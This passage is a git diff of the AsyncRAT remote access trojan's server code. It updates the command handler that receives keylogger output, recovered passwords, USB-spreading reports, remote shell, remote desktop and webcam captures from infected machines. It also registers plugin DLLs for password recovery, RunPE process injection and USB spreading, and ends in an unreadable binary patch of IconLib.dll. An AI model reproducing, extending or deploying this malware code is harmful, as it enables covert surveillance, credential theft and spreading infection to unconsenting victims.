HandleThumbnails(client, unpack_msgpack); + break; + } - case "BotKiller": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); - break; - } + case "BotKiller": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + break; + } - case "usbSpread": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); - break; - } + case "usb": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + break; + } - case "recoveryPassword": - { - new HandleRecovery(client, unpack_msgpack); - break; - } + case "recoveryPassword": + { + new HandleRecovery(client, unpack_msgpack); + break; + } - case "Received": - { - new HandleListView().Received(client); - break; - } + case "Received": + { + new HandleListView().Received(client); + break; + } - case "Error": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); - break; - } - case "remoteDesktop": - { - new HandleRemoteDesktop().Capture(client, unpack_msgpack); - break; - } + case "Error": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); + break; + } + case "remoteDesktop": + { + new HandleRemoteDesktop().Capture(client, unpack_msgpack); + break; + } - case "processManager": - { - new HandleProcessManager().GetProcess(client, unpack_msgpack); - break; - } + case "processManager": + { + new HandleProcessManager().GetProcess(client, unpack_msgpack); + break; + } - case "socketDownload": - { - new HandleFileManager().SocketDownload(client, unpack_msgpack); - break; - } + case "socketDownload": + { + new HandleFileManager().SocketDownload(client, unpack_msgpack); + break; + } - case "keyLogger": - { - new HandleKeylogger(client, unpack_msgpack); - break; - } + case "keyLogger": + { + new HandleKeylogger(client, unpack_msgpack); + break; + } - case "fileManager": - { - new HandleFileManager().FileManager(client, unpack_msgpack); - break; - } + case "fileManager": + { + new HandleFileManager().FileManager(client, unpack_msgpack); + break; + } - case "shell": - { - new HandleShell(unpack_msgpack, client); - break; - } + case "shell": + { + new HandleShell(unpack_msgpack, client); + break; + } - case "chat": - { - new HandleChat(unpack_msgpack, client); - break; - } + case "chat": + { + new HandleChat(unpack_msgpack, client); + break; + } + + case "reportWindow": + { + new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); + break; + } + + case "webcam": + { + new HandleWebcam(unpack_msgpack, client); + break; + } + } - case "reportWindow": - { - new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); - break; } + catch + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong packet", Color.Red); + // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); // todo - create a mehtod to block spammers?? + client.Disconnected(); + return; + } + })); } } - catch (CryptographicException) + catch { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red); - // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); client.Disconnected(); return; } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - return; - } } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Helper/AsyncTask.cs b/AsyncRAT-C#/Server/Helper/AsyncTask.cs index f8f6919..31273ad 100644 --- a/AsyncRAT-C#/Server/Helper/AsyncTask.cs +++ b/AsyncRAT-C#/Server/Helper/AsyncTask.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index f8434f3..77dd54c 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -80,20 +80,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8"?> - ///<configuration> - /// <configSections> - /// <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> - /// <section name="AsyncRAT_Sharp.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false"/> - /// </s [rest of string was truncated]";. - /// - internal static string AsyncRAT_Sharp_exe { - get { - return ResourceManager.GetString("AsyncRAT_Sharp_exe", resourceCulture); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -134,16 +120,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap circle_loading_gif { - get { - object obj = ResourceManager.GetObject("circle-loading-gif", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -204,16 +180,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] HandleLimeUSB { - get { - object obj = ResourceManager.GetObject("HandleLimeUSB", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -327,9 +293,49 @@ namespace Server.Properties { /// /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] Plugin { + internal static byte[] PluginCam { get { - object obj = ResourceManager.GetObject("Plugin", resourceCulture); + object obj = ResourceManager.GetObject("PluginCam", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginDesktop { + get { + object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginRecovery { + get { + object obj = ResourceManager.GetObject("PluginRecovery", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginRunPE { + get { + object obj = ResourceManager.GetObject("PluginRunPE", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginUsbSpread { + get { + object obj = ResourceManager.GetObject("PluginUsbSpread", resourceCulture); return ((byte[])(obj)); } } @@ -404,16 +410,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] StealerLib { - get { - object obj = ResourceManager.GetObject("StealerLib", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -493,5 +489,15 @@ namespace Server.Properties { return ((System.Drawing.Bitmap)(obj)); } } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap webcam { + get { + object obj = ResourceManager.GetObject("webcam", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } } } diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index 9740179..efbdd7a 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -136,18 +136,12 @@ ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 - - - ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\blank-screen.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\HandleLimeUSB.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\shell.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -157,9 +151,6 @@ ..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -175,12 +166,12 @@ ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\StealerLib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -217,14 +208,11 @@ ..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\blank-screen.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -238,13 +226,28 @@ ..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginRunPE.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\PluginUsbSpread.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config deleted file mode 100644 index ab58faf..0000000 --- a/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config +++ /dev/null @@ -1,60 +0,0 @@ - - - - -
- - - - - - - - - - - - - - - True - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0.0.0.0 - - - 0.0.0.0 - - - - - - - diff --git a/AsyncRAT-C#/Server/Resources/Costura.xml b/AsyncRAT-C#/Server/Resources/Costura.xml deleted file mode 100644 index 7e9ca15..0000000 --- a/AsyncRAT-C#/Server/Resources/Costura.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - Costura - - - - - Contains methods for interacting with the Costura system. - - - - - Call this to Initialize the Costura system. - - - - diff --git a/AsyncRAT-C#/Server/Resources/IconLib.dll b/AsyncRAT-C#/Server/Resources/IconLib.dll deleted file mode 100644 index c58d15fc4696b05ddac467216cef04b55e61c978..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 57856 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 